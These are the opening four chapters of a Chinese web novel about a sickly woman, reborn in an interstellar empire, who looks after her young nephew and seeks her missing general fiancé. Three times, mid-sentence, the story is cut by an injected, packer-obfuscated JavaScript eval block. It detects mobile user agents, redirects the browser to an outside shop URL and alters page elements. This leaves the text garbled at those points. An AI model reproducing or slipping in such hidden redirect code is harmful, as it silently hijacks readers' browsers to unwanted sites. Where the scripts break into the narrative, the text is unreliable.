《重生后和未婚夫HE了》 1. 重生 谢烟雨睁开眼,头顶熟悉的天花板让她猛地坐起身,顾不上因为剧烈动作泛起疼意的胸口,她抓起枕头旁的光脑点开:星际1320年9月5日。 她重生了。 谢烟雨喘着气,因为心悸脸色苍白,她眼底却透着光,嘴角更是扯出一抹笑意。 她真的重生了! 昨天,谢烟雨如往常一般入睡,却死在了睡梦中。 她从小体弱多病,对死亡一事早有心理准备,尽管死得突然,她也坦然接受了。 眼前的白色空间前方是一扇黑色大门,谢烟雨以为是去转世的必经路,抬脚准备过去。 她抬起的脚还没放下,身后传来一道冷冰冰的机械音:“谢小姐。” 谢烟雨回过头,发现是一个球形金属物体在讲话,“您好,我是辅助系统690。” 在谢烟雨略带不解的目光中,它开始讲述自己的来意。 它说的有点多,谢烟雨直接提取重点,“就是说,因为秦宥的失踪,气运之子无法平安长大,所以你想让我找到秦宥,让他在气运之子长大前稳坐上将的位置?” “是的。”690的声音毫无起伏,“根据数据显示,您是秦宥先生最亲近的人,也是气运之子的亲人,很符合绑定要求。” 谢烟雨无言,秦宥不过是她连面都没见过两次的名义上的未婚夫,她怎么就成了他最亲近的人。 690像是察觉到了她的抗拒,“与我绑定后,宿主的身体会逐渐好转,不出一个月,便与常人无异。” 谢烟雨看了它一眼,没有出声。 690继续道:“只要这两项进度条完成度达到百分之六十,任务就会判定成功,届时,我会与宿主解绑,脱离这个世界。” “您有三分钟的考虑时间。”690说完,半空中出现一道虚拟屏幕,上面的倒计时三个字比谢烟雨的头还大,十分显眼。 谢烟雨直直看向那个分不清正反面的球,“任务完不成会如何。” “世界崩塌,宿主会死。” “只有这个?” “是。” 她本来就死了,左右不过再死一次。 “我答应了。”谢烟雨话音落下的下一刻,倒计时屏幕被收回,她眼前出现一张白纸。 她扫了一眼,是保密契约,甲方那一块已经签好了,端端正正的楷体写着辅助系统690,她抬手将自己的名字写在乙方那一栏。 “契约生效,宿主,祝您早日完成任务。” 690的话伴随着一道白光响起,谢烟雨被刺得闭上眼睛,再睁眼时已经回到了卧室。 要不是红艳艳的两个任务进度条挂在眼前,谢烟雨还以为自己是做了个离奇的梦。 她揉了揉肿胀的额角,等心口的疼痛缓解,扫了眼时间,是她平日里起床的时间。 她把目光落在两个任务进度条上: 找到秦宥并帮他洗刷冤屈:0% 获得气运之子谢骁的好感:0% 秦宥是早些年父亲给她安排的联姻对象,就见过两次,上一次见面还是在一年前,谢烟雨都快记不清他的长相了。 只知道前些日子边界发生动荡,秦宥领兵出征,在战场上失踪,有谣言传出,他贪功冒进,害得数万名将士被坑杀,畏罪潜逃跑了。 这事闹得沸沸扬扬,死者家属堵在皇宫闹着要一个说法,偏偏秦宥失踪,带过去的人更是一个没活下来,事情真相到底如何有待调查。 谢烟雨跟人不熟,这些东西都是刷光脑看到的,要想帮秦宥,得找个法子联系上他的副官。 他的副官虽然没跟着上战场,但是与秦宥关系十分密切,应该会知道点什么。 不过她没有副官的联系方式。 想了会没什么头绪,谢烟雨就搁在一边起床去洗漱,顺便看第二个任务。 气运之子谢骁是她侄子,今年五岁。 谢家的情况复杂,总的来说,她和她哥不熟,跟谢骁更是不认识。 两个任务没一个是好完成的。 谢烟雨洗漱完,照例开始做比较缓和的运动。 在她做到第三套动作时,放在沙发上的光脑开始震动,在它即将掉下沙发时,一只白皙的手接住了它。 谢烟雨将光脑戴在手腕,没有急着接通,而是走到墙边挺直身子站好,才垂眸点开光脑,看见虚拟屏幕上显示的备注时,她平静的眼底泛起些许疑惑。 她接通,“喂?” 对面沉默一瞬,“是我,谢林臣。” 谢烟雨嗯了一声,“我知道,有备注。” 谢林臣沉默下来。 他不说话,谢烟雨也没有开口,静静地等着。 “你最近有没有空?”过了好一会,谢林臣略显干涩的声音才在那头响起,“我想请你帮个忙。” 她们兄妹俩向来如此,因为不熟,有话也不好意思开口。 说完这句话,谢林臣等了一会,给足谢烟雨反应的时间。 谢烟雨皱了皱眉,能让谢林臣找她事听起来就很棘手,“什么事。” 这意思是同意了。 谢林臣暗松了口气,他取下眼镜,揉着泛疼的鼻梁,声音有些疲惫,“我这几天要去一趟克拉星,那边......有些危险,我想请你帮我照看几天骁骁。” 谢烟雨从墙边走至茶几旁,提起水壶给自己兑了杯温水,没说同不同意,只问:“为什么找我?” 自从前年谢林臣与谢父撕破脸皮离家,就再也没有跟她见过面,逢年过节倒是有给她送礼物。 只是谢骁是他的宝贝儿子,据谢烟雨了解,谢骁的存在也是两人吵架的原因之一。 按理来说,谢林臣找谁也不会找上自己这个同父异母的妹妹。 “我不能带骁骁去克拉星。”谢林臣说。 谢烟雨扯了扯嘴角,这是一个约等于废话的解释,谢林臣不想说真正的原因,她也懒得探究。 她关心的是另一件事,“你得确保,谢骁的到来不会引起他的注意。” 这个他是谁,两人心知肚明。 谢林臣应道:“当然。” 两个小时后,谢骁的东西被尽数送进别墅的客房。 谢烟雨倚在二楼走廊的墙壁上,透过敞开的房门,看见小孩子喜欢的玩具摆了一地,床上四件套也被换成卡通样式的。 谢林臣跪坐在衣柜前,细心地将谢骁的衣服分类整理好,他脸上带着谢烟雨只在剧里见过的温情。 许是感觉到了她的目光,谢林臣侧头看过来,冲她点了点头,加快速度收拾好东西走出来,“多谢。” 他是个商人,常年穿着黑色西服,脸上带着标准的待客笑容,跟谢烟雨记忆里的模样一致。 她扫了眼谢林臣嘴角的笑,声音听不出任何情绪,“不用客气,你已经给过谢礼了。” 他送了她一辆限量版的悬浮车,很贵,是黑色的。 不是谢烟雨喜欢的颜色,但有总比没有好。 谢林臣张了张嘴,却发现自己实在没有什么话可以说,只能保持微笑,和谢烟雨一起下楼。 谢烟雨将他送至门口,顿了顿才道:“一路平安。” 谢林臣愣了下,下意识牵起嘴角,“谢......” 谢烟雨不想看他假笑,砰一声关上门,转身上楼。 谢林臣站在屋外,脸上有一瞬间的茫然,很快他就恢复如常,迈着步子离开。 扶着楼梯上楼的谢烟雨准备回房间,路过为谢骁准备的客房时,她脚步微顿,随后加快了步伐。 因为身体原因,谢烟雨很少跟别人打交道。 谢骁虽与她有些血缘关系,还是个小孩子,但她从未见过他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714739|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更不知如何与小孩相处。 谢烟雨端坐在沙发上,眉眼都泛着认真,她点开光脑,在搜索栏一个字一个字地敲下:如何与小孩相处? 加载完毕,屏幕上瞬间跳出一堆回答,谢烟雨看得眼花撩乱,索性点开一个点赞最多的帖子从头开始看,时不时在纸上记下感觉不错的方法。 这一看就看到了中午,颠着自己总结出来的一沓经验,谢烟雨满意地点了点头,打算等谢骁回来就开始执行。 可惜计划总赶不上变化,还没等她吃完午饭,谢骁的幼儿园老师就联系上了她。 “打架?”谢烟雨放下筷子,站起身,示意身侧的管家去准备悬浮车,“好,我马上过去。” 她一关光脑,管家就迎了上来,“小姐,您还没吃几口呢,再吃点吧。” 谢烟雨吃少了可能会低血糖,管家一边说一边将手上的汤盅往前递。 司机还得等会才到,谢烟雨自然不会拒绝管家的关心,接过小口小口喝完才离开。 此时的幼儿园里。 谢骁仰着头,黑白分明的双眼满是倔强,他双手紧紧握着,几乎是喊出来,“我不道歉!是他先打我的!凭什么是我道歉!” 他对面的女老师闻言眉头蹙起,厉声道:“谢骁!做错事还不承认?你家里人就是这么教你的?” 女老师身后站着一个挂了两只熊猫眼的胖男孩,见老师站在自己这边,他咧起嘴角,冲谢骁做了个鬼脸。 谢骁抿着唇,身子发着颤,却仍旧道:“他先跟我道歉,我就跟他道歉!” “你!”女老师想到什么,居高临下地扫了眼谢骁,语气冷淡,“好,那就等家长过来吧。” 谢骁的父亲不过是个商人,而她身后的胖男孩的父亲却是在职军官! 本来她还想趁着双方家长没来让谢骁道个歉,到时候就算对方家长再怎么生气,也会让谢骁好过一点。 可惜啊可惜!女老师烦躁地看了眼高高昂着脖子的谢骁,转身弯下要语气温柔地对胖男孩道:“站这么久啦,渴不渴呀?老师给你倒水?” 胖男孩倨傲地点点头,女老师立刻起身去倒水。 见状,他更加得意,冲谢骁恶狠狠道:“你死定了,等我父亲过来,一定会打死你!” 谢骁没有说话,看起来不想理人。他脸上看似一点也不在意,心里却有些打鼓。 谢骁知道爸爸今天要出差,不可能过来,老师喊来的是他的小姑。 他从来没有见过这个小姑,刚见面就给她惹麻烦的话,她肯定不会喜欢自己的。 但谢骁不后悔,他觉得自己做得对,肖海就是欠揍,他只恨自己长得没他壮,不能把他摁在地上揍! 女老师倒水回来,身后跟了个魁梧的男人。 胖男孩看见后眼前一亮,冲过去喊:“爸爸!” 男人扫了眼自己儿子,抬起他的脸仔细瞧了瞧,视线落在谢骁身上,“就是他把你打成这样的?” 他在军部混了二十年,不仅身上被浸染了鲜血,就连声音,也透着一股子戾气。 谢骁终究是个五岁小孩,被他瘆人的视线一盯,抬头撞进那双仿佛嗜血的眸子里,身子下意识抖了抖。 男人冷哼一声,越走越近,谢骁跌坐在地上,死死咬着牙,不让自己发出一点呜咽。 男人弯腰伸手扯住他的衣领,抬起另一只手作势要打他。谢骁缩了缩身子,听见胖男孩在喊:“爸爸,打死他打死他!” 他看向女老师,后者早就移开了视线,背对着众人,默认一般的态度。 自己打不过他。谢骁无比清楚他和男人之间的差距,尽管害怕得将指甲扣进手心,他也没有再后退一步。 手掌扬起又准备落下时,先到达的是被裹挟而来的一阵风,谢骁额前的碎发被吹起,他能感觉到男人的手离他越来越近。 2. 猜测 就在这时,一道略显急促的声音响起,“你要对我家孩子做什么!” 话音还未落下,一只粉色的包包就先迎面冲过来,男人侧身躲过,看向门口。 只见一个纤瘦的女人快步进来,凉凉地看了他一眼后上前拉起地上的谢骁,轻声问:“没事吧?他打到你没?” 谢骁愣愣地看着谢烟雨,抿着唇摇了摇头。 他看起来像被吓傻了。谢烟雨皱起眉,不放心地轻抬起他的脸仔细看了看,确实没有被打到。 她站直身子,将谢骁护在身后,抬眼看向男人,又把视线落在女老师身上,“贵校老师就是这么看着我家孩子被欺负的?” 方才隔了一段距离看见男人要冲谢骁动手,谢烟雨是跑过来的,心口泛起的疼意被她强行压下去。 她看得清楚,男人扬手时带着狠戾,这个老师却视而不见,谢烟雨看过去的目光冷如冰锥。 要是眼神能伤人,女老师身上说不准已经被戳了好几个洞了。 “我......”女老师辩无可辩,下意识地看向男人,“肖先生......” 她求助得明显,又丝毫不把谢烟雨的话放在眼里,分明是笃定她们斗不过那位在职军官,这才不在乎。 谢烟雨的目光从她身上掠过,看见躲在她身后的胖男孩,又顺着她的话看向胖男孩的父亲,心中了然。 她扯了扯嘴角,“肖先生是吧,你刚刚想对我家孩子做什么?” 小孩子打架,他儿子受伤了,谢骁也受伤了。 在未知真相、未进行协商前,他一个大男人竟对一个五岁的孩子下毒手,实在是无、耻、至、极。 她上下扫了眼这位肖先生,眉头皱得更紧,居然还是军团的人。 她打量男人的同时,男人也在打量她,谢烟雨的出场和动作都带着一股强势,看女老师的目光更是带着连她自己都没有察觉的所谓的上位者的目光。 可他把她的脸和脑子里的都对了一遍,发现并不认识后眼神瞬间冷了下来,“他打了我儿子。” 男人逼近她,声音压低,眼神和身上的气势都在散发着威胁,“说吧,怎么赔偿?被我揍一顿,或者,被我儿子揍一顿。” 谢烟雨掀起眼皮看了他一眼,眼底的冷漠如千年寒冰,令人心惊。 男人顿了一下,再次将她和记住的人进行对比。 谢烟雨却不再看他,而是低头问谢骁,“你为什么打架?” 她脸上没什么表情,声音却很轻,不像是兴师问罪,就是单纯的询问。 谢骁被她拉着的手腕泛着丝丝缕缕的疼痛,可是他没有顾及,而是直直地看着谢烟雨,“是他先打我的。” 谢烟雨:“他为什么先动手?” 谢骁张了张嘴,有些犹豫。他垂着眸没有说原因,只道:“我不想道歉。” 他声音有些小,似乎看出来谢烟雨有意为他撑腰,没了方才硬撑着的倔强,长长的眼睫上下一碰,双眸便蓄满泪水。 谢家人没有一个丑的,谢骁更是继承了谢林臣的好样貌,小小年纪便能窥见日后的风采。 此刻他满腹委屈,不敢全部诉说,只能藏在眼底,看起来属实可怜。 看着缩小版的谢林臣难过成这样,谢烟雨眯了眯眼睛,泄出几分不爽。 她本来就是来给小孩撑腰的,这会知道小孩不是过错方,心里的怒气悄无声息地上涨。 谢林臣对她还算可以,托付小孩给她的时候还送了个贵东西,加上小孩现在与她的生命息息相关,无论是哪样,都够谢烟雨将他护在羽翼下。 谢烟雨不再问,对男人道:“你也听见了,是你儿子先动手打人的,道歉吧。” 比起男人明目张胆的威胁,她这副不把人放在眼里的无视更令人生气。 男人的脸立刻黑了下来。 “臭女人!我才不道歉!”他还没说话,胖男孩冷哼一声,催促道,“爸爸,你快打死谢骁给我报仇!” 碍于心底的猜疑,男人没有立刻动手,而是抬眸看向谢烟雨。 “打死谢骁?”谢烟雨的眼神冷了下来,眯着眼睛问男人,“要是我今天没来,你真的敢打死他吗?” 男人顿住,闹出人命他肯定不敢,不过别的就…… 他没有回答,但沉默就是最好的答案。 说不出是讥讽还是什么,谢烟雨道:“肖先生,容萱知道你喜欢这么教小孩吗?” 帝国有四大军团,每个军团的徽章略有不同。比如,秦宥的第一军团徽章上镌刻的是白色山茶花,而容萱的第三军团刻的是红色玫瑰。 男人思考中无意间掏出来摩挲的徽章上的图案正是属于第三军团的红色玫瑰。 四大军团上将的名字帝国人人熟知,但语气能这么随意的,绝对是认识并且说得上话的。 男人心中一突,双目睁大,死死盯着谢烟雨,“你......” 谢骁、姓谢...... 他思绪翻涌,拼命地回想姓谢的都有谁,终于,想到了那个最出名的。 “你是谢烟雨......”男人呐呐道。 谢烟雨掀起眼皮看他,凉凉地道:“现在你还敢打死我侄子吗?” 男人怔怔地后退一步,说不出话来。 姓谢的可怕,更可怕的是与秦家联姻的那个谢。 秦宥从尸山血海中攒出来的功绩如今还刻在帝国中央广场的石碑上,纵然他被卷进谣言中,但一日没定罪,他就仍是那个满身功勋荣耀的秦上将。 传闻秦宥未婚妻从小体弱多病,甚少出门,没想到居然给他碰上了,还是这样的场景。 男人不知想到了什么,拎起身后的儿子,猛地甩了一巴掌。 他用了十成的力气,胖男孩的脸立马肿了起来,痛得啊啊直叫,眼泪和鼻涕糊在一起,隐约可见张开的嘴里有红色血迹。 他用左手压着胖男孩对准谢烟雨的方向,声音嘶哑地道:“道歉。” 小孩子最是敏感,能感受到周遭氛围的变化。就像谢骁察觉到谢烟雨站在他那边一样,此刻的胖男孩知道,自己如果不道歉父亲一定会打死他。 他哆哆嗦嗦地说对不起,混着血的唾沫溢出来,掉在地上。 谢烟雨嫌恶地挪开眼睛,“谢骁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714740|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你要原谅他吗?” 谢骁愣了愣,因为谢烟雨的话,男人和胖男孩都看了过来。 男人似乎明白了什么,用力地攥了把胖男孩的脖子,将他对准谢骁,正要说话,痛得涕泗横流的胖男孩已经崩溃大喊: “对不起!对不起谢骁!我不该打你!我不该说林小柔是婊子,不该欺负她,不该说你是野种,不该跟你打架,你原谅我吧!呜呜呜……” 这话恶意冲天,很难想象是从一个还在读幼儿园的小孩嘴里说出来的。 谢烟雨似笑非笑地看向男人,“肖先生家里的教育真是令人……” 她顿了顿,没想出来该用哪两个字定论,只能说出自己的真实感受,“作呕。” 男人脸色一僵,空闲的右手不自觉地握紧,死死地攥住。 谢骁红着眼,哼了一声,有种洗刷冤屈的感觉,他仰起头,看向门口站着的面如死灰女老师: “我没有不承认,我没做错事!而且,我爸爸才不像他爸爸一样!” 他在说女老师开头说的那两句话。 他没有做错事自然不承认有错,他的爸爸才不会像肖海的爸爸那样随便打人,还要打死人! 完了。 女老师心中一哆嗦,腿一软,跪倒在地。 “小姑,我不想原谅他。”谢骁拉了拉谢烟雨的手,看也没看胖男孩。 “那就不原谅。”谢烟雨道。 她在想,这小孩果然是谢林臣教出来的,有魄力,不肯吃亏,还有……宁死不屈。 得了谢烟雨的准许,谢骁显然很开心,他走到胖男孩身边,认认真真地告诉他,“肖海,你根本就不是诚心跟我道歉,你刚刚还想让你爸爸打死我,我不会原谅你的。” 真诚的语言最击人心。胖男孩还妄图谢骁原谅他,然后他爸爸放开手,没想到谢骁会这么说,他直接哇地一声哭出来。 弄成这样,下午的课也没有必要上了,谢烟雨牵着谢骁准备离开。 男人脸色发青又发白,最后哑着声音高声道:“秦宥是罪人,谢家没了他的庇佑,根本不可能插手军团的事!” 他声音颤抖,右手指甲深陷皮肉,他喘着气说出这句话,不知道是在安慰自己还是在恐吓谢烟雨。 谢烟雨脚步微顿,还没说话,身旁的谢骁已经大声反驳,“秦上将才不是罪人!他是英雄!他是很好很厉害的人!” 没想到谢骁对秦宥还挺有好感,谢烟雨眼底的讶异一闪而过,抬眸看向男人,“肖先生,我家孩子都能看明白的事,你看不明白吗?” 那个谣言是真是假没人知道,皇宫里的人都还没给出任何反应,他就敢妄下定论,也不怕秦宥的拥护者知道后对他下手。 谢烟雨拉着谢骁往外走,路过女老师时淡淡地扫了眼后迈步离开,剩下的事她懒得插手,通知谢林臣后他会派人过来处理。 心不在焉地上了车,谢烟雨还在想,秦宥失踪已有三天,谣言四起,皇宫被士兵家属围得水泄不通,却没有采取任何措施,到底是因为信任秦宥,还是想…… 要是后者,这个任务比她想象中的还棘手。 3. 宴会 见谢烟雨上了车之后就皱着眉一言不发,谢骁心里直打鼓,以为她要秋后算账,颇为惴惴不安。 谢烟雨不经意间抬眸,看见他不自知咬着下唇,一副犹犹豫豫的模样,眉头微挑,“怎么了?” 谢骁垂着头,“小姑,对不起。” 闻言,半靠在椅背上的谢烟雨坐直身子,“嗯?” 她不太理解谢骁的意思。 谢骁悄悄抬头看她,发现她没有自己想象中的生气,紧绷的身子松懈下来,他挠了挠头,“我给您惹麻烦了。” “这算不得麻烦。”谢烟雨顿了顿,“在别人欺负你后进行反击,是正确的,但是……没有必要搭上自己。” 她拉过小孩的手,撸起长袖,只见里头青青紫紫一片好不吓人。 自以为掩饰得很好的谢骁瞪大了眼睛,下意识想要把手缩回去,却被谢烟雨拉住挣扎不脱。 “下次再遇到这种事,可以换一种处理方法,比如告诉你……我。”本来想说告诉谢林臣,但想起他人在克拉星,还不如告诉自己。 “我不想让你们担心。”谢骁抿了抿嘴,眼睛有些湿漉漉的,因为被人关心,反而更想哭了。 “傻。”谢烟雨伸出食指轻轻点了点他的额头,从一旁的储物架上拿出医药箱,一边给他上药一边说,“你受伤成这样,你爸知道了更担心。” 她语气淡淡,没有过分亲近这个刚见面的侄子,动作里却带着一股自然而然的亲昵。 谢骁一下子就放松了警惕,犹豫着说:“可是……告家长显得我好小气啊。” 谢烟雨轻笑一声,给他上好药,把东西放回去,才道:“你记住了,聪明人会利用一切可以利用的给自己增加赢的筹码。” “你以为你揍了他一顿他就不会说你了?不,他只会更加讨厌你。告家长不是小气,是最便利的解决麻烦的方法。” 五岁的孩子,老是打架可不是什么好习惯。 谢烟雨伸手摸了摸若有所思的谢骁的头,轻声问:“知道了吗?” 谢骁迟疑着点头:“知道了,小姑。” 回到家,谢烟雨把谢骁交给管家照顾,自己回了房间。 还在路上时,手腕上的光脑就一直震个不停。不知什么原因,她那个父亲联系了她三次。 顾及谢骁的存在,谢烟雨并没有接,这会锁上房门,确认谢骁不会出镜,她才回拨过去。 随着对面接通,一名身穿白色西服的中年男子的投影出现在半空中。 他锐利的双眸扫了圈周围,声音听不出情绪,“为什么不接通讯?” 谢烟雨没有看他,坐在沙发上,垂着眸扯了扯嘴角,“父亲,有什么事?” “这就是你和父亲说话的态度?”谢父皱起眉头,不再年轻的脸上显出几分刻薄。 “那你想要什么态度?”谢烟雨掀了掀眼皮,指甲扣着皮质沙发,发出窸窸窣窣的声音,平添一份烦躁。 “你……”谢父顿了顿,想到什么,缓和了语气,“今晚二皇子生辰宴,请帖已经给你送过去了。” 他没说要让谢烟雨去,但句句都透着不容置喙。 “知道了。” “秦家的人也会去,你去问个好。” 去跟秦家人问好? 谢烟雨挂掉通讯,思考着这句话的意思。 秦宥是二皇子的人,第一军团和秦家自然也是二皇子的人,谢家也间接成为二皇子的助力。 让自己参加生辰宴,还要去跟秦家联络关系,不过就两个原因。 一是二皇子没有放弃秦宥,底下的人自然也照做,二是二皇子已经放弃秦宥,但舍不得谢家这个助力。 如果是二,谢父接下来还会让她与秦家年轻一辈见面,直接更改未婚夫人选。 谢烟雨点开光幕看进度条,属于谢骁的那一栏已经跳到了10%,秦宥那一栏任旧毫无动静。 要是自己在这个时候换了未婚夫,这个任务大概率不用做了,直接夭折。 谢烟雨心中有了决断,起身关掉光幕,出去让管家准备晚上要用的礼服。 晚上七点,夜幕降临,零星几颗星星坠在天空中,正睁着眼往帝国皇宫里瞧。 太子倒台后,上位可能性最大的就是二皇子。他此次生辰宴,许多官员不请自来,挤满了整个宴会厅。 谢烟雨进去时,差点被里头浑浊的空气吓得退出去。 要不是想着秦宥的副官肯定会过来,她可能已经坐上车子返程。 “听秦明朗说,谢家那个谁也会来!”二楼露天阳台上,几个年轻男子围坐在一块,笑嘻嘻地说着什么。 “谢烟雨吗?说起来,我还没见过她呢,听说是个病秧子。” “我倒是见过一次,她长得挺不错......” 有人挤眉弄眼道:“不然也不会被秦宥看上啊。” 他们发出默契的笑声。 本想过来透口气的谢烟雨没想到还能听见这番话,眉头一挑,正要出去,就听见有人继续道: “你们听说了吗?秦宥出事,秦家和谢家准备换联姻人选了。” “换谁?秦明朗?” 有人眼前一亮,压低声音,“秦明朗那小子玩得开,等他把人拿下,就让他把人带出来看看,说不定,还能......” 他没有继续说下去,但在场的人都知道他的意思,纷纷给予肯定,“真有你小子的。” 那人嘿嘿一笑,正要继续说话,一只高脚杯穿过薄纱似的门帘猛撞在他头上,深红色的葡萄酒倾倒浇了他一头,杯子滑落破碎时玻璃渣四溅,波及在场众人。 他们愕然起身,还没等骂出声,一阵脚步声由远及近。 谢烟雨脚步一顿,往旁边藏了藏。 很快,一个身穿黑色开叉长裙的女人踩着高跟鞋出现在众人眼前,二话不说甩了提议的男人一巴掌,声音里满是嫌恶: “什么玩意,也配在这里恶心人?” 她美目蹙起,拎起裙摆一个横扫,把他们踹在地上,冷声道:“要不要我来教教你们尊重怎么写?” “你!”其中一个直起身子,怒目而视,正要说话,被旁边的那个拉住,咬牙道:“她好像是陆家的那位......” 那人瞬间熄了火,低着头不敢看人。 “一帮欺软怕硬的孬种,别再让我看见你们,滚!” 地上的几个男人快速起身离开。 等人走后,女人爆了几句粗口,气呼呼地在椅子上坐下,“几年不回来,这帮傻逼的素质又低了。” 谢烟雨闻言弯了弯嘴角, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714741|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她把录音发给谢父,很快那边回了一句,【我会解决。】 那帮人的讨论不仅侮辱了谢烟雨,还没有把谢父放在眼里,为了他的尊严,谢烟雨相信他会好好处理这件事。 关掉光脑,她抬脚走出去,“陆安然,好久不见。” 听见声音,陆安然侧头看过去,看见谢烟雨从角落出来,她嘴角微抽,“你一直躲在那?” 还没等谢烟雨回话,她就皱起眉,“你怎么跟三年前一样,还是这么......” 见她误会,谢烟雨连忙道:“我录音了,会有人替我解决他们的。” 陆安然讶异于她的解释,抬眸看了她一眼,后者眼睛亮亮地看着她,似乎是在等待夸奖。 于是她迟疑着点了点头,“……不错,长进了。” 相比三年前的狼狈,现在已经学会用别的方式还手了,确实不错。 谢烟雨眼眸亮了亮,往前走两步靠近她,“你跟我说的话我一直记着呢,对了,你什么时候回来......” 她说话时,一名穿着军装的男子从楼上下来,抬头的一瞬视线掠过这边,看见谢烟雨后又往旁边看,见是陆家的人瞬间皱眉,冷淡地收回目光。 谢烟雨无意间瞥见,停住话茬,迈开步子往前走了两步,又回头道:“安然,我有点事,我们下次再见?” 陆安然点完头,又觉得她对自己好像太过殷勤,抬起头要问,却见人已经跑走了,只好作罢。 这边,谢烟雨拦住秦宥的副官,“苏先生,可否借一步说话?” “您要说什么?” 苏铭垂眸,语气不冷不淡,他抬手拂了拂别在肩膀上的徽章,上面镌刻的山茶花在灯光下熠熠生辉,“若是退婚一事,您不该找我,得寻秦家的主事人。” “退婚?”谢烟雨摇头,目光清澈,“我不会退婚。” 苏铭抬眼看她,“是吗?那您寻我是?” “我想知道,秦宥他......” 谢烟雨话还没说完,楼上传来一阵骚乱,夹杂着仆人慌张的语气,“不好了不好了!有人闯进了二皇子的房间!” 眼前一阵风掠过,方才还站在身旁的苏铭已经奔上楼,只留下一句略显敷衍的告辞,“谢小姐,失陪了。” 谢烟雨正要下楼,身后传来一阵动静,呼啦啦的一帮人慌里慌张地推搡着下来,她加快速度,却仍被人群挤得失去平衡。 慌乱中,谢烟雨抓住了身边的人想要稳住身形。 那人一僵,很快放松,他抬起手臂虚圈着谢烟雨隔绝人群的冲撞。 尽管他被人撞得踉跄,却始终隔着距离没有碰到自己半护在怀里的谢烟雨。 谢烟雨紧紧抓着他腰侧的衣服,跟他一块被人群裹挟着抵达一楼。 到了安全地带,谢烟雨立刻松手跟人道谢。 因为方才的混乱,她脸色苍白,心口泛起些许疼意,说话的声音有些轻。 那人垂眸看她,红色的眸子宛如凶狠的猛兽,带着一股尚未消散的戾气,有些压抑。 谢烟雨后退一步拉开距离,正要说话,那人已经转身,灰色燕尾服在空中划了半个圈,露出被她抓得发皱的衣角。 他步子迈得很大,谢烟雨还没来得及说什么,那人又转身回来递给她一杯温水。 4. 夜遇 没想到他是去给自己拿水,谢烟雨握着杯壁的手紧了紧。 水温透过杯壁传进手心,带着暖意。 她抬起头,想要跟人好好道谢,却发现那人已经穿过人群,往大门走去。 在她怔然的几秒时间里,那人的身影彻底消失在夜色中。 谢烟雨喝了口水,慢悠悠地收回视线。 没过多久,二皇子身边的护卫下来安抚大家,说只是一个小贼偷了物件。 不管是真是假,大家都笑呵呵地应了,还顺势说了几句安慰的话。 谢烟雨站在人群中,微仰着头看向三楼,有两个背影消失在拐角,其中一个很是眼熟,是苏铭。 苏铭和二皇子离开了。 看来这个小贼偷的“物件”很重要啊,重要到二皇子连下来拉拢大臣的时间都没有。 谢烟雨若有所思地垂眸。 宴会已经不安全,想要见的人都走了,她喝完最后一口水,放下杯子,转身离开。 回到家洗完澡,谢烟雨躺在床上回想自己见苏铭的那一幕,为什么他会认为自己是来退婚的? 他似乎并不知道秦家要换人的打算。 依照谢烟雨对谢父的了解,换人是肯定的,秦家大约是同意了,不然不会有那些谣言。 但苏铭不知道。 偏偏苏铭不知道。 谢烟雨扣着床单,思绪越飘越远。 直到门口传来敲门声,以及一道软乎乎的声音,“小姑。” 谢烟雨收回心神,“进来。” 门被打开,露出抱着枕头的谢骁。 他穿着睡衣,黑色的头发软软地贴在额前,眨着黑白分明的大眼睛挪进来关上门。 来到谢烟雨面前,他软软地喊:“小姑。” “怎么了?” 谢烟雨拍了拍身侧的位置,后者蹬掉鞋子,蹭蹭蹭地爬上去,贴在她身边。 “小姑,我和爸爸说了学校的事,他让我跟你道谢。” 谢烟雨嗯了一声。 谢骁皱着眉,小大人似的,“你知道爸爸去哪儿了吗,他看起来好累。” 谢烟雨自然不知道,“他不肯告诉我。” 她也有些奇怪,克拉星是低级星球,原住民少得可怜,就算谢林臣要做生意也不会做到那里去,他到底是去干什么? “他也不告诉我,他以前都带我一起去的。” 谢骁略带失落的声音从身侧传来,谢烟雨摸了摸他的头以示安慰。 谢骁顺势蹭了蹭,又好奇地问:“小姑,为什么我以前没见过你?” 谢烟雨顿了顿,“你太乖了,你爸舍不得让我见到你,怕我拐走你。” “小姑骗人。”谢骁吸了吸鼻子,声音小小的,“你跟爸爸说的不一样。” “他说什么了?” 谢烟雨语气坦然,丝毫没有被戳穿谎言的慌乱,甚至有点好奇谢林臣是怎么解释的。 “他说,爷爷不同意他和妈妈在一起,他就带着妈妈离开了,怕找你爷爷会生气,就不敢见你。” 谢骁躺在谢烟雨身侧,盯着天花板,复述谢林臣的话。 说完,他抿了抿唇,“小姑,……” 他犹豫着想说些什么,就在这时,谢烟雨手腕上的光脑震动起来。 幅度很大,连谢骁都看了过去。 